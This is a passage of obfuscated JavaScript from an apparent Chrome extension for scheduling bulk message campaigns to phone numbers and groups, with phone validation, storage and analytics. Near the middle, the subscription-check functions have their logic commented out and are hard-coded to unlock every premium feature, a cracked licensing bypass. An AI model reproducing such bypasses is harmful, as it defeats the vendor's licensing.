        TWAAE: c["dSZYA"],
        YLols: function (x, J, M, Y) {
          return c["nWgFF"](x, J, M, Y);
        },
        MCZjP: function (x, J, M, Y, v, l) {
          return c["CmDqC"](x, J, M, Y, v, l);
        },
        dKNNn: function (x, J) {
          return c["lyySR"](x, J);
        },
        JcOxx: c["WARUe"],
        PbMsB: function (J, M) {
          return J == M;
        },
        MJaoT: c["sdtnL"],
        Aiejf: "schedule_message",
        QLJkb: function (x, J) {
          return c["BFjbl"](x, J);
        },
        cXfsX: function (J, M) {
          return c["NfhBO"](J, M);
        },
      };
      if (c["ajtWI"](isAdvanceFeatureAvailable)) {
        reset_error();
        const x = messageToggleSwitchValue;
        var f = document["querySelector"]("#schedule_time")["value"],
          b = document["querySelector"](c["kxFwo"])["value"],
          O = document["querySelector"](c["MZzsh"])["value"],
          i = document["querySelector"]("textarea#message")["value"],
          e = document["querySelector"](c["YuqNZ"])["innerText"],
          s = c["gXfQN"]($, c["USfBl"])["is"](c["mjdQV"]),
          o,
          L = ![],
          F,
          w;
        c["KhpWq"]($, "#time_gap_checked")["is"](c["mjdQV"])
          ? (c["AFqxQ"](c["DIiyp"]($, c["nmGWv"])["val"](), "sec") &&
              (o = parseInt(document["querySelector"](c["vVxvJ"])["value"])),
            c["RAsjY"](
              $("#time_gap_type\x20input[type=\x27radio\x27]:checked")["val"](),
              c["ePVlM"]
            ) && ((o = 0x4), (L = !![])))
          : !isPremiumFeatureAvailable()
          ? (o = c["EGiRT"](parseInt, 0x1e))
          : (o = c["hGZJJ"](parseInt, 0x3));
        document["querySelector"](c["KfPiO"])["checked"] &&
          ((F = document["querySelector"](c["mDSSY"])["value"]),
          (w = document["querySelector"]("#batch_gap")["value"]));
        var j = c["ZdnzS"](getFilteredNumbers, O)
          ["split"](",")
          ["map"]((J) => country_info["dial_code"] + J);
        if (!O && c["SfrRv"](x, c["sdtnL"])) {
          c["GLHKC"](show_error, c["DerBQ"]);
          return;
        }
        if (groups_selected["length"] == 0x0 && c["SbGVP"](x, "groups")) {
          show_error("Please\x20select\x20groups\x20to\x20send");
          return;
        }
        if (
          c["tIrnY"](contacts_selected["length"], 0x0) &&
          c["VEXwt"](x, c["kZLdd"])
        ) {
          c["yuQxL"](show_error, c["SUFCR"]);
          return;
        }
        if (i["trim"]()["length"] == 0x0 && c["WohgY"](e["length"], 0x0)) {
          c["BFjbl"](show_error, c["riYhm"]);
          return;
        }
        if (!f) {
          c["wsKSm"](show_error, c["rDAlt"]);
          return;
        }
        chrome["storage"]["local"]["get"]([c["Dcmdw"]], async function (J) {
          const M = {
            SawUi: function (Z, B) {
              return c["OiPeY"](Z, B);
            },
            ksWDP: c["WAbKq"],
          };
          let Y = J["scheduled_campaigns"] || [],
            v = null,
            l = null;
          Y &&
            c["loGxv"](Y["length"], 0x0) &&
            ((v = Y[c["WZGDh"](Y["length"], 0x1)]["campaign_duration"]),
            (l = Y[c["WZGDh"](Y["length"], 0x1)]["end_date"]));
          if (
            c["HrIDx"](v, null) &&
            c["HrIDx"](l, null) &&
            convertToTimestamp(l, v) >= c["Ofwig"](convertToTimestamp, b, f)
          ) {
            let Z = document["querySelector"]("#schedule_campaign_error");
            const B = document["querySelector"](
              "#schedule_campaign_error_time"
            );
            Z["hidden"] = ![];
            let Q = convertTo12Hour(v);
            (B["innerHTML"] = formatScheduleDate(l) + "\x20" + Q + "\x20"),
              c["BXnQX"](
                setTimeout,
                () => {
                  Z["hidden"] = !![];
                },
                0x2710
              );
            return;
          }
          if (Y && c["aWqkb"](Y["length"], 0x3)) {
            const d = document["querySelector"](c["MQAkr"]);
            (d["hidden"] = ![]),
              c["yKqMF"](
                setTimeout,
                () => {
                  d["hidden"] = !![];
                },
                0x2710
              );
            return;
          } else
            chrome["storage"]["local"]["get"]([c["htaKI"]], async function (m) {
              const D = m["attachmentsData"];
              let R = T["TWAAE"] + Y["length"] + 0x1,
                { time: S, date: q } = T["YLols"](
                  addSecondsToScheduleTime,
                  b,
                  f,
                  T["MCZjP"](calculateCampaignDuration, o, L, F, w, j)
                ),
                k = T["dKNNn"]($, T["JcOxx"])["is"](":checked"),
                r = await new Promise((I) => {
                  const X = {
                    sLPod: function (E, h) {
                      return M["SawUi"](E, h);
                    },
                  };
                  chrome["storage"]["local"]["get"]([M["ksWDP"]], (E) => {
                    X["sLPod"](I, E["captionForIndividualAttachment"] || []);
                  });
                });
              const y = {};
              (y["campaign_name"] = R),
                (y["numbers"] = j),
                (y["message"] = i),
                (y["time_gap"] = o),
                (y["csv_data"] = csv_data),
                (y["customization"] = s),
                (y["schedule_time"] = f),
                (y["random_delay"] = L),
                (y["batch_size"] = F),
                (y["batch_gap"] = w),
                (y["campaign_duration"] = S),
                (y["campaign_date"] = b),
                (y["end_date"] = q),
                (y["caption_customization"] = k),
                (y["caption"] = r),
                (y["attachmentsData"] = D);
              const z = {};
              (z["campaign_name"] = R),
                (z["groups"] = groups_selected),
                (z["message"] = i),
                (z["time_gap"] = o),
                (z["csv_data"] = csv_data),
                (z["customization"] = s),
                (z["schedule_time"] = f),
                (z["random_delay"] = L),
                (z["batch_size"] = F),
                (z["batch_gap"] = w),
                (z["campaign_duration"] = S),
                (z["campaign_date"] = b),
                (z["end_date"] = q),
                (z["caption_customization"] = k),
                (z["caption"] = r),
                (z["attachmentsData"] = D);
              if (T["PbMsB"](x, T["MJaoT"])) Y["push"](y);
              else Y["push"](z);
              Y["sort"](
                (I, X) =>
                  convertToTimestamp(I["campaign_date"], I["schedule_time"]) -
                  convertToTimestamp(X["campaign_date"], X["schedule_time"])
              );
              const K = {};
              (K["scheduled_campaigns"] = Y),
                chrome["storage"]["local"]["set"](K);
              if (x == T["MJaoT"])
                sendMessageToBackground({
                  type: T["Aiejf"],
                  numbers: j,
                  message: i,
                  time_gap: o,
                  csv_data: csv_data,
                  customization: s,
                  schedule_time: f,
                  campaign_date: b,
                  random_delay: L,
                  batch_size: F,
                  batch_gap: w,
                });
              else
                T["QLJkb"](sendMessageToBackground, {
                  type: T["Aiejf"],
                  groups: groups_selected,
                  message: i,
                  time_gap: o,
                  csv_data: csv_data,
                  customization: s,
                  schedule_time: f,
                  campaign_date: b,
                  random_delay: L,
                  batch_size: F,
                  batch_gap: w,
                });
              window["close"]();
            });
        }),
          c["wsKSm"](trackButtonClick, c["EXpey"]);
      } else c["mUhPB"](sendMessageToBackground, { type: c["uMxpM"], feature: c["EXpey"] }), window["close"]();
      chrome["storage"]["local"]["get"](["premiumUsageObject"], function (J) {
        if (T["cXfsX"](J["premiumUsageObject"], undefined)) {
          const M = { ...J["premiumUsageObject"] };
          M["schedule"] = !![];
          let Y = M;
          const v = {};
          (v["premiumUsageObject"] = Y), chrome["storage"]["local"]["set"](v);
        }
      });
    });
}
function addSecondsToScheduleTime(g, T, f) {
  const b = {};
  (b["MDJWM"] = function (j, J) {
    return j + J;
  }),
    (b["Vlcpy"] = function (j, J) {
      return j + J;
    }),
    (b["zqaYW"] = function (j, J) {
      return j < J;
    }),
    (b["KesGH"] = function (j, J) {
      return j + J;
    }),
    (b["THRhg"] = function (j, J) {
      return j + J;
    }),
    (b["rhRfv"] = function (j, J) {
      return j < J;
    }),
    (b["zTCnf"] = function (j, J) {
      return j + J;
    });
  const O = b;
  let [i, e] = T["split"](":"),
    s = new Date(g);
  s["setHours"](i),
    s["setMinutes"](e),
    s["setSeconds"](O["MDJWM"](s["getSeconds"](), f)),
    (i = s["getHours"]()),
    (e = s["getMinutes"]()),
    (f = s["getSeconds"]()),
    (i = i < 0xa ? O["Vlcpy"]("0", i) : i),
    (e = O["zqaYW"](e, 0xa) ? O["KesGH"]("0", e) : e);
  let o = s["getFullYear"](),
    L = O["Vlcpy"](s["getMonth"](), 0x1),
    F = s["getDate"]();
  (L = L < 0xa ? O["THRhg"]("0", L) : L),
    (F = O["rhRfv"](F, 0xa) ? O["zTCnf"]("0", F) : F);
  const w = {};
  return (w["date"] = o + "-" + L + "-" + F), (w["time"] = i + ":" + e), w;
}
function convertToTimestamp(p, g) {
  const T = {};
  T["bjeCm"] = function (O, i) {
    return O + i;
  };
  const f = T;
  let b = new Date(f["bjeCm"](f["bjeCm"](p, "T"), g));
  return b["getTime"]();
}
function timeToTimestamp(c) {
  const p = {
    pOtBN: function (f, b) {
      return f(b);
    },
  };
  let [g, T] = c["split"](":");
  return new Date()["setHours"](
    p["pOtBN"](parseInt, g),
    p["pOtBN"](parseInt, T),
    0x0,
    0x0
  );
}
function convertTo12Hour(p) {
  const g = {};
  (g["XbNey"] = function (e, s) {
    return e >= s;
  }),
    (g["kQVZS"] = function (e, s) {
      return e % s;
    });
  const T = g;
  let [f, b] = p["split"](":"),
    O = new Date();
  O["setHours"](f), O["setMinutes"](b);
  let i = T["XbNey"](f, 0xc) ? "PM" : "AM";
  return (f = T["kQVZS"](f, 0xc)), (f = f ? f : 0xc), f + ":" + b + "\x20" + i;
}
function calculateCampaignDuration(p, g, T, f, b) {
  const O = {};
  (O["wUdUM"] = function (o, L) {
    return o < L;
  }),
    (O["qWPbt"] = function (o, L) {
      return o === L;
    }),
    (O["GcMRa"] = function (o, L) {
      return o * L;
    });
  const e = O;
  let s = 0x0;
  for (let o = 0x0; e["wUdUM"](o, b["length"]); o++) {
    let L = p;
    if (g) L = 0x7;
    if (T && e["qWPbt"](o % T, 0x0)) L = f;
    if (e["qWPbt"](o, 0x0)) L = 0x2;
    s += L;
  }
  return (s += e["GcMRa"](0xf, 0x3c)), s;
}
function formatScheduleDate(c) {
  const [p, g, T] = c["split"]("-");
  return T + "/" + g + "/" + p;
}
function hasDateTimePassed(c, p) {
  let g = new Date(c + "T" + p),
    T = new Date();
  return T > g;
}
async function scheduleExpiredPopup() {
  const c = {
    zmoTR: function (p, g) {
      return p < g;
    },
    jTtri: function (p, g, T) {
      return p(g, T);
    },
    DmeZd: "scheduled_campaigns",
  };
  chrome["storage"]["local"]["get"]([c["DmeZd"]], function (p) {
    let g = p["scheduled_campaigns"] || [];
    for (let T = 0x0; c["zmoTR"](T, g["length"]); T++) {
      const f = g[T]["campaign_date"],
        b = g[T]["schedule_time"];
      if (c["jTtri"](hasDateTimePassed, f, b)) {
        c["jTtri"](showScheduleExpiredPopup, g[T], T);
        return;
      }
    }
  });
}
async function loadScheduledCampaigns(c) {
  const p = {
    WviBx: function (g, T) {
      return g(T);
    },
    HmcQW: "clear_schedule_timeout",
    exIOu: function (g, T) {
      return g(T);
    },
    qDBnK: function (g, T) {
      return g > T;
    },
    ptCud: function (g, T) {
      return g < T;
    },
    ElScV: function (g, T) {
      return g + T;
    },
    jHANn: "Campaign-",
    yLqhz: function (g, T) {
      return g(T);
    },
    agisn: function (g, T) {
      return g(T);
    },
    NxVja: "#schedule_container",
    IUYwL: function (g, T) {
      return g(T);
    },
    qUAyS: function (g, T) {
      return g(T);
    },
    nSawI: "No\x20scheduled\x20campaigns",
    FeGJC: function (g, T) {
      return g(T);
    },
    ajDSL: ".campaign_delete_btn",
  };
  $("#schedule_container")["html"]("");
  if (c && p["qDBnK"](c["length"], 0x0))
    for (let g = 0x0; p["ptCud"](g, c["length"]); g++) {
      let T = c[g]["campaign_name"] || p["ElScV"](p["jHANn"], Number(g + 0x1)),
        f = c[g]["schedule_time"],
        b = p["yLqhz"](formatScheduleDate, c[g]["campaign_date"]);
      p["agisn"]($, p["NxVja"])["append"](
        "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22dropdown-item\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20id=\x22" +
          g +
          "\x22\x20class=\x22campaign_name\x20text\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22./logo/excel_icon.png\x22/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#009A88;\x22>" +
          T +
          "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#5D6063;\x22>" +
          b +
          "\x20" +
          f +
          "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20id=\x22" +
          g +
          "\x22\x20class=\x22campaign_delete_btn\x20btn\x20CtaBtn\x22\x20src=\x22./logo/delete-icon.png\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>"
      );
    }
  else
    p["IUYwL"]($, p["NxVja"])["append"](
      "<div\x20class=\x22dropdown-item\x22>" +
        (await p["qUAyS"](translate, p["nSawI"])) +
        "</div>"
    );
  p["FeGJC"]($, p["ajDSL"])["click"](function () {
    let O = p["WviBx"]($, this)["attr"]("id");
    const i = c[O]["timeOutId"];
    if (i) sendMessageToBackground({ type: p["HmcQW"], timeoutId: i });
    const e = c["filter"]((o, L) => L != O),
      s = {};
    (s["scheduled_campaigns"] = e),
      chrome["storage"]["local"]["set"](s),
      p["exIOu"](loadScheduledCampaigns, e);
  });
}
function get_label() {
  var c = "";
  if (my_number) c += my_number + "\x20";
  if (plan_type) c += plan_type;
  return c;
}
function trackButtonClick(p) {
  const g = {
    sPIDV: function (b) {
      return b();
    },
    lztJg: "clicked",
  };
  var T = g["sPIDV"](get_label);
  const f = {};
  (f["label"] = T),
    (f["type"] = g["lztJg"]),
    GoogleAnalytics["fireEvent"](p, f);
}
function trackButtonView(p) {
  const g = {
    rBlEA: function (b) {
      return b();
    },
    gERwN: "viewed",
  };
  var T = g["rBlEA"](get_label);
  const f = {};
  (f["label"] = T),
    (f["type"] = g["gERwN"]),
    GoogleAnalytics["fireEvent"](p, f);
}
function trackEvent(p, g) {
  const T = {
    XcIFd: function (O) {
      return O();
    },
  };
  var f = T["XcIFd"](get_label);
  const b = {};
  (b["label"] = f), (b["track"] = g), GoogleAnalytics["fireEvent"](p, b);
}
function isExpired() {
    // const p = {};
    // (p["RdgxD"] = function (T, f) {
    //   return T === f;
    // }),
    //   (p["XDTas"] = "Expired");
    // const g = p;
    // return g["RdgxD"](plan_type, g["XDTas"]);
    return false;
  }
  
  function isBasic() {
    // const p = {};
    // p["zqnLT"] = "Basic";
    // const g = p;
    // return plan_type === g["zqnLT"];
    return false;
  }
  
  function isAdvance() {
    // const p = {};
    // p["vXscv"] = "Advance";
    // const g = p;
    // return plan_type === g["vXscv"];
    return true;
  }
  
  function isPremium() {
    // const p = {};
    // (p["hJSYm"] = function (T, f) {
    //   return T === f;
    // }),
    //   (p["kvSNW"] = "Basic"),
    //   (p["KIQIp"] = "Advance");
    // const g = p;
    // return g["hJSYm"](plan_type, g["kvSNW"]) || plan_type === g["KIQIp"];
    return true;
  }
  
  function isFreeTrial() {
    // const p = {};
    // (p["OOTOt"] = function (T, f) {
    //   return T === f;
    // }),
    //   (p["CKzlj"] = "FreeTrial");
    // const g = p;
    // return g["OOTOt"](plan_type, g["CKzlj"]);
    return false;
  }
  
  function isAdvancePromo() {
    // const p = {};
    // p["WaOrk"] = "AdvancePromo";
    // const g = p;
    // return plan_type === g["WaOrk"];
    return false;
  }
  
  function isTrial() {
    // const p = {};
    // (p["OftPy"] = function (T, f) {
    //   return T === f;
    // }),
    //   (p["lBwGd"] = "FreeTrial"),
    //   (p["hJsZq"] = function (T, f) {
    //     return T === f;
    //   }),
    //   (p["ooGcG"] = "AdvancePromo");
    // const g = p;
    // return g["OftPy"](plan_type, g["lBwGd"]) || g["hJsZq"](plan_type, g["ooGcG"]);
    return false;
  }
  
  function isBasicFeatureAvailable() {
    // const c = {
    //   gbXmk: function (p) {
    //     return p();
    //   },
    // };
    // return c["gbXmk"](isBasic) || isTrial();
    return true;
  }
  
  function isAdvanceFeatureAvailable() {
    // const c = {
    //   HraWk: function (p) {
    //     return p();
    //   },
    //   BPYSM: function (p) {
    //     return p();
    //   },
    // };
    // return c["HraWk"](isAdvance) || c["BPYSM"](isAdvancePromo);
    return true;
  }
  
  function isPremiumFeatureAvailable() {
    // const c = {
    //   JgRlD: function (p) {
    //     return p();
    //   },
    //   yiAkq: function (p) {
    //     return p();
    //   },
    // };
    // return c["JgRlD"](isPremium) || c["yiAkq"](isTrial);
    return true;
  }
  
  
function getFilteredNumbers(c) {
  let p = c["replace"](/\n/g, ",")["split"](",");
  (p = p["map"]((T) => T["replace"](/\D/g, ""))),
    (p = p["filter"]((T) => T["length"] >= 0x5 && T["length"] <= 0xf));
  let g = p["join"](",");
  return g;
}
function getDaySuffix(p) {
  const g = {};
  (g["OEonV"] = function (f, b) {
    return f >= b;
  }),
    (g["dHkDH"] = function (f, b) {
      return f <= b;
    }),
    (g["zOpyL"] = function (f, b) {
      return f % b;
    });
  const T = g;
  if (T["OEonV"](p, 0xb) && T["dHkDH"](p, 0xd)) return "th";
  switch (T["zOpyL"](p, 0xa)) {
    case 0x1:
      return "st";
    case 0x2:
      return "nd";
    case 0x3:
      return "rd";
    default:
      return "th";
  }
}
function getReportDateFormat(p, g = ![]) {
  const T = {
      hVelj: function (F, w) {
        return F / w;
      },
      auNgI: function (F, w) {
        return F - w;
      },
      QLSdw: function (F, w) {
        return F * w;
      },
      gemjq: function (F, w) {
        return F + w;
      },
      juLpM: function (F, w) {
        return F(w);
      },
      ctDin: "numeric",
      UPUXn: function (F, w) {
        return F > w;
      },
      MkgvG: "en-US",
      zoATg: "short",
      ZnqTn: "Today",
    },
    f = new Date(),
    b = new Date(p),
    O = Math["round"](
      Math["abs"](
        T["hVelj"](
          T["auNgI"](f, b),
          T["QLSdw"](T["QLSdw"](T["QLSdw"](0x18, 0x3c), 0x3c), 0x3e8)
        )
      )
    ),
    i = b["getDate"](),
    e = T["gemjq"](i, T["juLpM"](getDaySuffix, i)),
    s = {};
  (s["hour"] = "numeric"), (s["minute"] = T["ctDin"]);
  let o = b["toLocaleTimeString"]("en-US", s),
    L;
  if (g || T["UPUXn"](O, 0x1))
    L = e + "\x20" + b["toLocaleDateString"](T["MkgvG"], { month: T["zoATg"] });
  else {
    if (O === 0x0) L = T["ZnqTn"];
    else O === 0x1 && (L = "Yesterday");
  }
  if (g) return "(Last\x20Run\x20at\x20" + L + "\x20" + o + ")";
  return "(Last\x20Run:\x20" + L + "\x20" + o + ")";
}
function download_csv(p, g) {
  const T = {
      SIPlk: "data:text/csv;charset=utf-8,",
      CUQcU: function (e, s) {
        return e(s);
      },
      kqszj: "body",
    },
    f = T["SIPlk"] + p["map"]((s) => s["join"](","))["join"]("\x0a"),
    b = T["CUQcU"](encodeURI, f),
    O = {};
  (O["href"] = b), (O["download"] = g);
  const i = T["CUQcU"]($, "<a>")["attr"](O)["appendTo"](T["kqszj"]);
  i[0x0]["click"](), i["remove"]();
}
function getCustomNumberPlaceholder() {
  const c = {
    pCrCt:
      "Enter\x20numbers\x20separated\x20by\x20comma\x20or\x20one\x20below\x20the\x20other.\x20Eg.\x20",
    OJOhQ: function (f, b) {
      return f(b);
    },
    MsmMJ: "#country-code-input",
    QdlLt: "placeholder",
    qKkft: function (f, b) {
      return f === b;
    },
    MARQn: function (f, b) {
      return f != b;
    },
    nCjAM: "+91\x208123456789,\x20+1\x202015550123",
    ykLVU: function (f, b) {
      return f + b;
    },
  };
  let p = c["pCrCt"],
    g = c["OJOhQ"]($, c["MsmMJ"])["attr"](c["QdlLt"])["replace"](/\D/g, "");
  if (c["qKkft"](g, "")) g = "+91\x208123456789,\x20+1\x202015550123";
  else g["startsWith"]("0") && (g = g["substr"](0x1));
  let T = "";
  if (c["MARQn"](g, c["nCjAM"])) {
    let f = g["slice"](0x0, -0x6),
      b = g["slice"](-0x6),
      O = b["split"]("")["reverse"]()["join"](""),
      i = c["ykLVU"](f, O);
    T = c["ykLVU"](p, g) + ",\x20" + i;
  } else T = c["ykLVU"](p, g);
  return T;
}
function addCountryCodeSelector() {
  const p = {
      yodWt: function (i) {
        return i();
      },
      qSyBN: function (i) {
        return i();
      },
      YiSyQ: function (i, e) {
        return i === e;
      },
      CQhjz: "aggressive",
      sLdOC: "library/intlTelInput.utils.js",
      CNtGi: function (i) {
        return i();
      },
    },
    g = document["querySelector"]("#country-code-input"),
    T = country_info["name_code"],
    f = p["YiSyQ"](T, "XX") ? [T] : ["XX", T],
    b = {};
  (b["separateDialCode"] = !![]),
    (b["autoHideDialCode"] = ![]),
    (b["autoPlaceholder"] = "off"),
    (b["initialCountry"] = T),
    (b["preferredCountries"] = f),
    (b["autoPlaceholder"] = p["CQhjz"]),
    (b["utilsScript"] = p["sLdOC"]);
  const O = b;
  window["intlTelInput"](g, O),
    p["CNtGi"](updateCountryInfo),
    g["addEventListener"]("countrychange", () => {
      p["yodWt"](updateCountryInfo), p["qSyBN"](refreshNumbers);
    });
}
function updateCountryInfo() {
  const p = {
      TFwoD: "#country-code-input",
      uTCtQ: function (e, s) {
        return e === s;
      },
      RhIZZ: function (e, s) {
        return e(s);
      },
      BwtWo: "#numbers-input",
      bOLWN: "placeholder",
      MojKj: function (e) {
        return e();
      },
    },
    g = document["querySelector"](p["TFwoD"]),
    T = window["intlTelInputGlobals"]["getInstance"](g);
  let { name: f, iso2: b, dialCode: O } = T["getSelectedCountryData"]();
  if (p["uTCtQ"](O, "00")) O = "";
  country_info = { name: f, name_code: b["toUpperCase"](), dial_code: O };
  const i = {};
  (i["country_info"] = country_info),
    chrome["storage"]["local"]["set"](i),
    p["RhIZZ"]($, p["BwtWo"])["attr"](
      p["bOLWN"],
      p["MojKj"](getCustomNumberPlaceholder)
    );
}
function refreshNumbers() {
  const c = {
      RiXLx: function (f, b) {
        return f(b);
      },
      BmvLM: "#numbers-display\x20.number-tag\x20.number",
      Rbvzt: function (f, b) {
        return f(b);
      },
    },
    p = $(c["BmvLM"]),
    g = [];
  p["each"](function () {
    let f = c["RiXLx"]($, this)["text"]()["trim"]();
    g["push"](f);
  });
  const T = g["join"](",\x20");
  c["Rbvzt"](replaceNumbers, T);
}
function replaceNumbers(c) {
  const p = {
    rWVbG: function (g, T) {
      return g(T);
    },
    BNGBX: "#numbers-display",
    cfKVv: "#numbers-input",
    NmWum: function (g, T) {
      return g(T);
    },
  };
  p["rWVbG"]($, p["BNGBX"])["empty"](),
    p["rWVbG"]($, p["cfKVv"])["val"](""),
    p["NmWum"](addNumberTags, c);
}
function isBrazilPhoneNumber(c) {
  const p = /^(\+55\s?)?(\(?\d{2}\)?\s?)?\d{8,9}$/;
  return p["test"](c["replace"](/\D/g, ""));
}
function isArgentinianPhoneNumber(c) {
  const p = /^(?:\+?549?|0)(?: ?9)? ?(?:11|[2368]\d)(?: ?\d){8}$/;
  return p["test"](c["replace"](/\D/g, ""));
}
function isMorrocoPhoneNumber(c, p) {
  const g = /^(?:(?:\(?(?:00|\\+)(212)\)?[\s]?)?|0)([5-7]\d{8})$/;
  return (
    g["test"](c["replace"](/\D/g, "")) || g["test"](p?.["replace"](/\D/g, ""))
  );
}
function isValidNumber(p) {
  const g = {
    YmgGt: function (o, L) {
      return o + L;
    },
    nGxqJ: function (o, L) {
      return o === L;
    },
    Trary: function (o, L) {
      return o === L;
    },
    RmESE: "INCORRECT\x20COUNTRY\x20CODE",
    nQwVp: function (o, L) {
      return o(L);
    },
    kewms: function (o, L) {
      return o + L;
    },
  };
  let { dial_code: T, name_code: f } = country_info;
  const b = {};
  (b["isValid"] = ![]), (b["nationalNumber"] = p), (b["reason"] = g["RmESE"]);
  let O = b;
  const i = (o) => {
    try {
      let L = libphonenumber["parsePhoneNumber"](g["YmgGt"]("+", o));
      if (L && L["isValid"]()) {
        if (g["nGxqJ"](f, "XX")) {
          const F = {};
          return (
            (F["isValid"] = !![]),
            (F["nationalNumber"] = o),
            (F["reason"] = ""),
            F
          );
        } else {
          if (g["Trary"](f, L["country"])) {
            const w = {};
            return (
              (w["isValid"] = !![]),
              (w["nationalNumber"] = L["nationalNumber"]),
              (w["reason"] = ""),
              w
            );
          } else return O;
        }
      }
      return O;
    } catch (j) {
      const x = {};
      return (
        (x["isValid"] = ![]),
        (x["nationalNumber"] = o),
        (x["reason"] = j["message"]),
        x
      );
    }
  };
  let e = g["nQwVp"](i, p),
    s = g["nQwVp"](i, g["kewms"](T, p));
  if (e["isValid"]) return e;
  else return s["isValid"] ? s : O;
}
function toggleUploadExcelText(p) {
  const g = {};
  (g["yRuKj"] = ".number-tag"),
    (g["AqXWB"] = function (O, i) {
      return O && i;
    }),
    (g["ExyNK"] = "none"),
    (g["XTlTn"] = "flex");
  const T = g,
    f = document["querySelectorAll"](T["yRuKj"])["length"],
    b = document["querySelector"](".upload_excel_text");
  if (T["AqXWB"](b, f) && !p) b["style"]["display"] = T["ExyNK"];
  else b && !f && p && (b["style"]["display"] = T["XTlTn"]);
}
function addNumberTags(c) {
  const p = {
      ScPBL: function (f, b) {
        return f(b);
      },
      LPkRt: function (f, b) {
        return f + b;
      },
      FBndX: function (f, b) {
        return f + b;
      },
      VNnVR: "</span>",
      KgeMB: "#numbers-display",
      MruNo: function (f) {
        return f();
      },
    },
    g = getFilteredNumbers(c)["split"](",");
  let T = "";
  for (let f of g) {
    if (f) {
      let {
        isValid: b,
        nationalNumber: O,
        reason: i,
      } = p["ScPBL"](isValidNumber, f);
      T +=
        "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22number-tag\x20CtaBtn\x20" +
        (b ? "" : "invalid") +
        "\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
        (b
          ? ""
          : p["LPkRt"](
              p["FBndX"](
                "<span\x20class=\x22invalid-reason\x22\x20hidden=\x22true\x22>",
                i
              ),
              p["VNnVR"]
            )) +
        "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22number\x22\x20title=\x22Edit\x20Number\x22>" +
        O +
        "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22delete-number-tag\x22\x20src=\x22./logo/closeBtn.png\x22\x20title=\x22Remove\x20Number\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</span>";
    }
  }
  p["ScPBL"]($, p["KgeMB"])["append"](T),
    p["MruNo"](updateNumbersAndDisplay),
    toggleUploadExcelText(![]);
}
function editNumberTag(c) {
  const p = {
      BRsor: function (O, i) {
        return O(i);
      },
      xoqbp: function (O) {
        return O();
      },
      qNffH: function (O, i) {
        return O < i;
      },
      ChedF: "active-input",
      AMZOg: "CtaBtn",
      adUWh: function (O, i) {
        return O + i;
      },
      vKKZe: "</span>",
      dKYPN: ".number-tag",
      gPGhr: function (O, i) {
        return O(i);
      },
      Tkdaf: function (O, i) {
        return O + i;
      },
      LgEbU: function (O, i) {
        return O + i;
      },
      HEiRu: function (O, i) {
        return O(i);
      },
      inDBd: "blur\x20keydown\x20keyup",
    },
    g = p["gPGhr"]($, c)["text"](),
    T = $(c)["parent"](p["dKYPN"]),
    f = p["Tkdaf"](p["LgEbU"](p["gPGhr"]($, c)["width"](), 0x7), "px"),
    b = p["HEiRu"](
      $,
      "<input\x20type=\x22text\x22\x20class=\x22number-tag-input\x22\x20maxlength=\x2216\x22\x20style=\x22max-width:" +
        f +
        ";\x22>"
    );
  T["html"](b),
    T["addClass"](p["ChedF"]),
    T["removeClass"](p["AMZOg"]),
    b["val"](g),
    b["focus"](),
    b["on"](p["inDBd"], function (O) {
      if (O["keyCode"] && ![0xd, 0xbc]["includes"](O["keyCode"])) return;
      let e = getFilteredNumbers(p["BRsor"]($, this)["val"]())["split"](
        ","
      )[0x0];
      if (e) {
        is_excel_uploaded && p["xoqbp"](removeNumbers);
        let { isValid: s, nationalNumber: o, reason: L } = isValidNumber(e);
        for (let w = 0x0; p["qNffH"](w, csv_data["length"]); w++) {
          if (
            csv_data[w][0x0] &&
            csv_data[w][0x0]["toString"]()["includes"](g)
          ) {
            csv_data[w][0x0] = parseInt(e);
            break;
          }
        }
        const F = {};
        (F["csv_data"] = csv_data),
          chrome["storage"]["local"]["set"](F),
          T["toggleClass"]("invalid", !s),
          T["removeClass"](p["ChedF"]),
          T["addClass"](p["AMZOg"]),
          T["html"](
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
              (s
                ? ""
                : p["adUWh"](
                    "<span\x20class=\x22invalid-reason\x22\x20hidden=\x22true\x22>",
                    L
                  ) + p["vKKZe"]) +
              "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22number\x22\x20title=\x22Edit\x20Number\x22>" +
              o +
              "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22delete-number-tag\x22\x20src=\x22./logo/closeBtn.png\x22\x20title=\x22Remove\x20Number\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
          );
      } else p["BRsor"]($, this)["parent"](p["dKYPN"])["remove"]();
      updateNumbersAndDisplay();
    });
}
function updateNumbersAndDisplay() {
